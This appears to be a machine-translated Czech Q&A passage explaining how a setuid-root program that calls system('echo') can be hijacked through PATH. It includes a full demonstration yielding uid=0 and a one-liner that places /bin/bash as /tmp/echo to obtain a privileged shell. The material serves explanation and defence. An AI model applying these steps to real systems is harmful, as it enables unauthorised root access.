PATH
můžete přepsat proměnná, aby ukazovala na adresář s vaší vlastní verzí echo
a od echo
se provádí pomocí env
, není považován za vestavěný.
To představuje chybu zabezpečení, pouze pokud je kód spuštěn jako privilegovaný uživatel.
V níže uvedeném příkladu soubor v.c obsahuje kód z otázky.
$ cat echo.c
#include <stdio.h>
#include <unistd.h>
int main() {
printf("Code run as uid=%d\n", getuid());
}
$ cc -o echo echo.c
$ cc -o v v.c
$ sudo chown root v
$ sudo chmod +s v
$ ls -l
total 64
-rwxr-xr-x 1 user group 8752 Nov 29 01:55 echo
-rw-r--r-- 1 user group 99 Nov 29 01:54 echo.c
-rwsr-sr-x 1 root group 8896 Nov 29 01:55 v
-rw-r--r-- 1 user group 279 Nov 29 01:55 v.c
$ ./v
and now what?
$ export PATH=.:$PATH
$ ./v
Code run as uid=0
$
Všimněte si, že nastavení skutečného uživatelského ID, efektivního uživatelského ID a uloženého set-user-ID voláním na setresuid()
před voláním na system()
ve zranitelném kódu zveřejněném v otázce umožňuje člověk zneužít zranitelnost, i když je pouze efektivní ID uživatele nastaveno na privilegované uživatelské ID a skutečné uživatelské ID zůstává neprivilegované (jako je například případ, kdy se spoléháte na bit set-user-ID na soubor jako výše). Bez volání na setresuid()
shell běží na system()
by resetovalo efektivní ID uživatele zpět na ID skutečného uživatele, čímž by zneužití bylo neúčinné. V případě, že je zranitelný kód spuštěn se skutečným uživatelským ID privilegovaného uživatele, system()
stačí zavolat sám. Citace sh
manuálová stránka:
Pokud je shell spuštěn s efektivním id uživatele (skupiny), které se nerovná skutečnému id uživatele (skupiny) a není zadána volba -p, nečtou se žádné spouštěcí soubory, funkce shellu nejsou zděděny z prostředí, proměnná SHELLOPTS , pokud se objeví v prostředí, je ignorován a efektivní userid je nastaveno na skutečné ID uživatele. Pokud je při vyvolání zadána volba -p, chování při spuštění je stejné, ale skutečné ID uživatele se neresetuje.
Všimněte si také, že setresuid()
není přenosný, ale setuid()
nebo setreuid()
lze také použít ke stejnému účinku.
ve skutečnosti si při volání systémové funkce můžete pohrát s echo
command.for například pokud spustíte následující kód:
echo "/bin/bash" > /tmp/echo
chmod 777 /tmp/echo && export PATH=/tmp:$PATH
získáte shell s oprávněním vlastníka souboru